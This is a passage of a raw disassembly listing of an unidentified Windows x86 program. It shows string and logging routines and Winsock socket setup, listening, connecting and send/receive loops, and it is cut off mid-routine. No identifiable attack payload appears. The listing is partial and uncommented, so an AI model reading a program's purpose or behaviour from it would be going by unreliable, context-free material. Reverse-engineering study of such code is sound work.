; strstr add esp, 8 test eax, eax jnz short loc_419AC6 loc_419AB2: ; CODE XREF: ___:00419AA5j add esi, 80h cmp esi, offset dword_50AE6C jl short loc_419AA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419AC6: ; CODE XREF: ___:00419AB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419AE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax nop call near ptr 27B0000h mov edi, dword_50FAFC mov esi, offset dword_50AE6C loc_419AFB: ; CODE XREF: sub_419AE0+3Bj cmp byte ptr [esi], 0 jz short loc_419B0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; strncpy add esp, 0Ch loc_419B0F: ; CODE XREF: sub_419AE0+1Ej sub esi, 80h cmp esi, offset dword_506E6C jge short loc_419AFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_506E6C nop call near ptr 77C3FA76h add esp, 28h pop edi pop esi add esp, 10h retn sub_419AE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419BB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_50FAFC push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp ; strncpy mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419C21 mov [edx+180h], al loc_419C21: ; CODE XREF: ___:00419C19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_419D32 loc_419C3F: ; CODE XREF: ___:00419D25j lea edx, [esp+10h] push ebx push edx call near ptr 77C47C60h nop mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp ; strncpy lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp ; strncpy lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419D00 lea eax, [ebx-1] test eax, eax jz short loc_419D00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419CDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx nop call sub_5EDAB2 add esp, 14h jmp short loc_419D00 ; --------------------------------------------------------------------------- loc_419CDD: ; CODE XREF: ___:00419CAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call sub_5EDAB2 add esp, 10h loc_419D00: ; CODE XREF: ___:00419C8Aj ; ___:00419C91j ... mov edx, [esp+61Ch] mov esi, dword_50FAF8 push edx push ebx call esi ; strstr add esp, 8 test eax, eax jnz short loc_419D2B lea eax, [esp+10h] push ebx push eax call esi ; strstr add esp, 8 test eax, eax jnz loc_419C3F loc_419D2B: ; CODE XREF: ___:00419D16j mov esi, [esp+614h] loc_419D32: ; CODE XREF: ___:00419C39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp ; strncpy add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419DD0: ; CODE XREF: ___:004018CFj sub esp, 10h push esi push 0 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419DEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419DEE: ; CODE XREF: ___:00419DE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax call near ptr 71AB2B66h nop lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_419E39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E39: ; CODE XREF: ___:00419E2Fj push 7FFFFFFFh push esi nop call near ptr 71AB88D3h test eax, eax jz short loc_419E51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E51: ; CODE XREF: ___:00419E47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419E90: ; CODE XREF: ___:00401E65j push edi xor edi, edi mov eax, offset byte_4DE2E5 loc_419E98: ; CODE XREF: ___:00419EA8j cmp dword ptr [eax], 0 jz short loc_419EAA add eax, 316h inc edi cmp eax, offset byte_4E5E55 jle short loc_419E98 loc_419EAA: ; CODE XREF: ___:00419E9Bj cmp edi, 13h jle short loc_419EB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419EB4: ; CODE XREF: ___:00419EADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4DE1EBh[eax*2] mov eax, [esp+10h] push eax push esi call ebx ; sub_5EDAB2 mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5EDAB2 add esp, 8 mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419F50 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D6775 loc_419F58: ; CODE XREF: sub_419F50+18j cmp dword ptr [eax], 0 jz short loc_419F6A add eax, 316h inc edi cmp eax, offset byte_4DE2E5 jle short loc_419F58 loc_419F6A: ; CODE XREF: sub_419F50+Bj cmp edi, 13h jle short loc_419F74 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419F74: ; CODE XREF: sub_419F50+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4D667Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; sub_5EDAB2 mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5EDAB2 add esp, 8 mov eax, edi pop esi pop ebx pop edi retn sub_419F50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A010 proc near ; CODE XREF: sub_401C35j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43E0BC mov eax, dword_50BB38 test eax, eax jnz short loc_41A048 mov eax, dword_50BB38 inc eax mov dword_50BB38, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h call near ptr 71AB664Dh nop jmp short loc_41A055 ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_41A010+19j mov edx, dword_50BB38 inc edx mov dword_50BB38, edx loc_41A055: ; CODE XREF: sub_41A010+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_446F70 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A0E0 proc near ; CODE XREF: ___:004018D4j sub_401AF5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FC8 test [esp+4+arg_0], 1 jz short loc_41A0F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A0F8: ; CODE XREF: sub_41A0E0+Dj mov eax, esi pop esi retn 4 sub_41A0E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401FC8j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43E0BC test al, al jnz short loc_41A125 call sub_4014DD loc_41A125: ; CODE XREF: sub_41A110+Ej mov eax, 1 mov ecx, dword_50BB38 cmp ecx, eax jle short loc_41A140 mov eax, dword_50BB38 dec eax mov dword_50BB38, eax locret_41A13F: ; CODE XREF: sub_41A110:loc_41A140j retn ; --------------------------------------------------------------------------- loc_41A140: ; CODE XREF: sub_41A110+22j jnz short locret_41A13F mov ecx, dword_50BB38 dec ecx mov dword_50BB38, ecx nop jmp near ptr 71AB4428h sub_41A110 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A180: ; CODE XREF: ___:004015A0j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43ACCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40195B test al, al jz loc_41A231 mov al, [esi+80Bh] test al, al jz short loc_41A1B9 mov al, 1 jmp short loc_41A231 ; --------------------------------------------------------------------------- loc_41A1B9: ; CODE XREF: ___:0041A1B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax nop call near ptr 77C47A90h mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401636 push eax mov ecx, esi call sub_4020C7 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40186B mov al, bl pop edi pop ebx loc_41A231: ; CODE XREF: ___:0041A1A5j ; ___:0041A1B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A290 proc near ; CODE XREF: sub_40195Bj mov al, byte_443DD0 retn sub_41A290 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A2B0 proc near ; CODE XREF: sub_4020C7j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A2D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A2D0: ; CODE XREF: sub_41A2B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A471 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A30A mov ecx, esi call sub_4014DD pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A30A: ; CODE XREF: sub_41A2B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A319 push 1 jmp short loc_41A31B ; --------------------------------------------------------------------------- loc_41A319: ; CODE XREF: sub_41A2B0+63j push 0 loc_41A31B: ; CODE XREF: sub_41A2B0+67j mov ecx, esi call sub_4018BB mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax nop call near ptr 71AB2B66h mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di call near ptr 71AB406Ah nop mov ebp, dword_50FC44 test eax, eax jge short loc_41A3BC call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A3AD call ebp ; WSAGetLastError cmp eax, 0Bh jz short loc_41A3AD call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A3AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A2B0+D6j ; sub_41A2B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A46A loc_41A3BC: ; CODE XREF: sub_41A2B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_50FC80 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi ; select test eax, eax jge short loc_41A430 loc_41A3FB: ; CODE XREF: sub_41A2B0+17Ej call ebp ; WSAGetLastError call ebp ; WSAGetLastError cmp eax, 4 jnz short loc_41A445 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A414 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A445 loc_41A414: ; CODE XREF: sub_41A2B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi ; select test eax, eax jl short loc_41A3FB loc_41A430: ; CODE XREF: sub_41A2B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A461 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A463 ; --------------------------------------------------------------------------- loc_41A445: ; CODE XREF: sub_41A2B0+152j ; sub_41A2B0+162j mov ecx, esi call sub_4014DD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A461: ; CODE XREF: sub_41A2B0+189j push 0 loc_41A463: ; CODE XREF: sub_41A2B0+193j mov ecx, esi call sub_4018BB loc_41A46A: ; CODE XREF: sub_41A2B0+106j mov byte ptr [esi+80Bh], 1 loc_41A471: ; CODE XREF: sub_41A2B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A2B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A500 proc near ; CODE XREF: sub_4014DDj push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A51A cmp eax, 0FFFFFFFFh jz short loc_41A51A push eax nop call near ptr 71AB9639h loc_41A51A: ; CODE XREF: sub_41A500+Cj ; sub_41A500+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A500 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A540 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_446F70 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A540 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A5B0 proc near ; CODE XREF: sub_401488j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41A5C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5C6: ; CODE XREF: sub_41A5B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A67F push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A5FB mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5FB: ; CODE XREF: sub_41A5B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_41A654 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A654: ; CODE XREF: sub_41A5B0+92j mov ecx, [esi+806h] push 32h push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41A678 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A678: ; CODE XREF: sub_41A5B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A67F: ; CODE XREF: sub_41A5B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A5B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6D0 proc near ; CODE XREF: sub_401B81j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A6EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A6EE: ; CODE XREF: sub_41A6D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A705 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A705: ; CODE XREF: sub_41A6D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A781 call sub_40195B test al, al jz short loc_41A774 mov edi, dword_50FC80 loc_41A71E: ; CODE XREF: sub_41A6D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi ; select test eax, eax jz short loc_41A76B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A781 loc_41A76B: ; CODE XREF: sub_41A6D0+84j call sub_40195B test al, al jnz short loc_41A71E loc_41A774: ; CODE XREF: sub_41A6D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A781: ; CODE XREF: sub_41A6D0+3Dj ; sub_41A6D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A7A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A7B6 ; --------------------------------------------------------------------------- loc_41A7A4: ; CODE XREF: sub_41A6D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A7B6: ; CODE XREF: sub_41A6D0+D2j mov eax, [esi+806h] push eax nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A7D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7D9: ; CODE XREF: sub_41A6D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_4020EA mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A6D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A860 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A860 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A890 proc near ; CODE XREF: sub_401960j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B3B retn 0Ch sub_41A890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A8C0 proc near ; CODE XREF: sub_401B3Bj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AA24 mov al, [esi+80Bh] test al, al jz loc_41AA24 mov edi, dword_50F8A4 call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41A9BC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41A9BC call sub_40195B test al, al jz loc_41A9BC loc_41A91B: ; CODE XREF: sub_41A8C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AA24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax call near ptr 71AB2DC0h nop test eax, eax jz short loc_41A9AF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AA24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A9BC loc_41A9AF: ; CODE XREF: sub_41A8C0+BCj call sub_40195B test al, al jnz loc_41A91B loc_41A9BC: ; CODE XREF: sub_41A8C0+39j ; sub_41A8C0+48j ... call sub_40195B test al, al jz short loc_41AA24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx nop call near ptr 71AB615Ah mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41A9F1 mov [ecx], eax loc_41A9F1: ; CODE XREF: sub_41A8C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AA09 test eax, eax jz short loc_41AA09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA09: ; CODE XREF: sub_41A8C0+134j ; sub_41A8C0+138j call near ptr 71AB94DCh nop pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA24: ; CODE XREF: sub_41A8C0+13j ; sub_41A8C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AAA0: ; CODE XREF: ___:00401618j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41AAF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41AAF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41AAD2 mov [ecx], eax loc_41AAD2: ; CODE XREF: ___:0041AACEj cmp eax, 0FFFFFFFFh jz short loc_41AAE0 test eax, eax jz short loc_41AAE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41AAE0: ; CODE XREF: ___:0041AAD5j ; ___:0041AAD9j nop call near ptr 71AB94DCh cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41AAF1: ; CODE XREF: ___:0041AAA9j ; ___:0041AAB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AB20: ; CODE XREF: ___:004019B0j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AB3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB3C: ; CODE XREF: ___:0041AB32j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AB52 loc_41AB48: ; CODE XREF: ___:0041AB8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB52: ; CODE XREF: ___:0041AB46j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ABB6 mov edi, ebp loc_41AB6B: ; CODE XREF: ___:0041ABB4j cmp edi, ebx jz short loc_41ABB6 cmp [esp+18h], bl jz short loc_41ABB6 call sub_40195B test al, al jz short loc_41ABB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AB48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41ABA1 cmp al, 0Dh jz short loc_41ABA1 cmp al, bl jnz short loc_41ABA9 loc_41ABA1: ; CODE XREF: ___:0041AB97j ; ___:0041AB9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ABA9: ; CODE XREF: ___:0041AB9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AB6B loc_41ABB6: ; CODE XREF: ___:0041AB67j ; ___:0041AB6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC00: ; CODE XREF: ___:00402180j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AC1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC1C: ; CODE XREF: ___:0041AC12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC32 loc_41AC28: ; CODE XREF: ___:0041AC6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC32: ; CODE XREF: ___:0041AC26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AC9D mov edi, ebp 